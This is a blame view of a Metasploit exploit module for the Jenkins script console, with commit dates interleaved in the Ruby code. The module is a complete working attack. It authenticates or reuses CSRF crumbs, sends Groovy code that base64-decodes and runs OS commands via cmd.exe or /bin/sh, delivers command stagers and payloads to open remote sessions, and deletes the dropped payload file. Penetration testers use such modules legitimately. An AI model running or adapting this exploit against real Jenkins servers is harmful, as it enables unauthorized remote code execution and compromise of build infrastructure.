Files
metasploit-gs/modules/exploits/multi/http/jenkins_script_console.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

243 lines
8.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Jenkins
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2022-08-25 14:41:30 -04:00
super(
update_info(
info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
This module uses the Jenkins-CI Groovy script console to execute
2022-08-25 14:41:30 -04:00
OS commands using Java.
},
'Author' => [
'Spencer McIntyre',
'jamcut',
'thesubtlety'
],
2022-08-25 14:41:30 -04:00
'License' => MSF_LICENSE,
'DefaultOptions' => {
'WfsDelay' => '10'
},
2022-08-25 14:41:30 -04:00
'References' => [
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
],
2022-08-25 14:41:30 -04:00
'Platform' => %w[win linux unix],
'Targets' => [
[
'Windows',
2015-09-03 13:27:10 -05:00
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
2015-09-03 13:27:10 -05:00
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
2022-09-13 16:09:28 -04:00
['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
2022-08-25 14:41:30 -04:00
['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
],
2022-08-25 14:41:30 -04:00
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
2018-10-27 20:54:14 -04:00
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
2022-08-25 14:41:30 -04:00
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
2022-08-25 14:41:30 -04:00
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
]
)
self.needs_cleanup = true
end
2013-08-30 16:28:54 -05:00
2018-08-09 23:34:03 -05:00
def post_auth?
true
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
2022-08-25 14:41:30 -04:00
uri.path << '/' if uri.path[-1, 1] != '/'
res = send_request_cgi({ 'uri' => "#{uri.path}login" })
if res && res.headers.include?('X-Jenkins')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2022-08-25 14:41:30 -04:00
def on_new_session(_client)
if !@to_delete.nil?
2013-01-20 13:42:02 +01:00
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
2013-08-30 16:28:54 -05:00
2023-06-12 14:08:03 +01:00
# This method takes a command and options then attempts to make a request and returns a response
#
# @param [String] cmd The cmd used
# @param [String] _opts Request options
# @return [Rex::Proto::Http::Response, nil] res The result of the request
def http_send_request(cmd)
request_parameters = {
2022-08-25 14:41:30 -04:00
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
'Submit' => 'Run'
}
}
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
2023-06-12 14:08:03 +01:00
send_request_cgi(request_parameters)
end
# This method takes a command and options then attempts to make a request to send the command
#
# @param [String] cmd The cmd used
# @param [String] _opts Request options
# @return [Rex::Proto::Http::Response] res The response of the request
def http_send_command(cmd, _opts = {})
res = http_send_request(cmd)
fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil?
# Attempt to login if we haven't previously
if res.code == 401 && !@attempted_login
print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...')
attempt_jenkins_login
res = http_send_request(cmd)
end
2023-06-12 14:08:03 +01:00
fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200
res
end
2013-08-30 16:28:54 -05:00
def java_craft_runtime_exec(cmd)
2022-08-25 14:37:37 -04:00
vars = Rex::RandomIdentifier::Generator.new(
Rex::RandomIdentifier::Generator::JavaOpts
)
jcode = <<~JCODE
2022-08-25 14:37:37 -04:00
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
byte[] #{vars[:decoded]};
try {
2022-09-13 15:08:23 -04:00
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
} catch(groovy.lang.MissingPropertyException e) {
2022-09-13 15:08:23 -04:00
Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
}
JCODE
2022-08-25 14:37:37 -04:00
jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
if target['Platform'] == 'win'
2022-08-25 14:37:37 -04:00
jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
else
2022-08-25 14:37:37 -04:00
jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
end
2022-08-25 14:37:37 -04:00
jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
jcode
end
2013-08-30 16:28:54 -05:00
2022-08-25 14:41:30 -04:00
def execute_command(cmd, _opts = {})
2013-01-20 13:42:02 +01:00
vprint_status("Attempting to execute: #{cmd}")
2022-08-25 14:41:30 -04:00
http_send_command(cmd.to_s)
end
2013-08-30 16:28:54 -05:00
2023-06-12 14:08:03 +01:00
# This method makes calls to multiple methods to handle Jenkins login attempts
def attempt_jenkins_login
@attempted_login = true
login_uri = jenkins_uri_check(@uri, keep_cookies: true)
status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri)
if status == Metasploit::Model::Login::Status::INCORRECT
fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server')
end
end
def exploit
2023-06-12 14:08:03 +01:00
@attempted_login = false
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
2022-08-25 14:41:30 -04:00
@uri.path << '/' if @uri.path[-1, 1] != '/'
print_status('Checking access to the script console')
2022-08-25 14:41:30 -04:00
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::Unknown, 'No Response received') if !res
2013-08-30 16:28:54 -05:00
2014-10-14 19:33:23 -05:00
@crumb = nil
if res.code != 200
2022-08-25 14:41:30 -04:00
if datastore['API_TOKEN'].present?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res && (res.code == 401))
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
2023-06-12 14:08:03 +01:00
attempt_jenkins_login
2022-09-13 15:08:23 -04:00
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
2023-06-12 14:08:03 +01:00
if res.code == 403
fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request")
elsif res.code != 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server')
end
2022-08-25 14:41:30 -04:00
end
else
print_status('No authentication required, skipping login...')
end
2013-08-30 16:28:54 -05:00
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
2022-08-25 14:41:30 -04:00
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
2022-09-13 15:08:23 -04:00
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
2022-08-25 14:41:30 -04:00
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
2014-10-14 19:33:23 -05:00
end
case target['Platform']
when 'win'
2014-06-28 17:40:49 -04:00
print_status("#{rhost}:#{rport} - Sending command stager...")
2022-08-25 14:41:30 -04:00
execute_cmdstager({ linemax: 2049 })
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
2022-08-25 14:41:30 -04:00
http_send_command(payload.encoded.to_s)
2013-01-20 13:42:02 +01:00
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
2022-09-13 16:09:28 -04:00
execute_cmdstager({ linemax: 2049 })
end
2013-08-30 16:28:54 -05:00
handler
end
end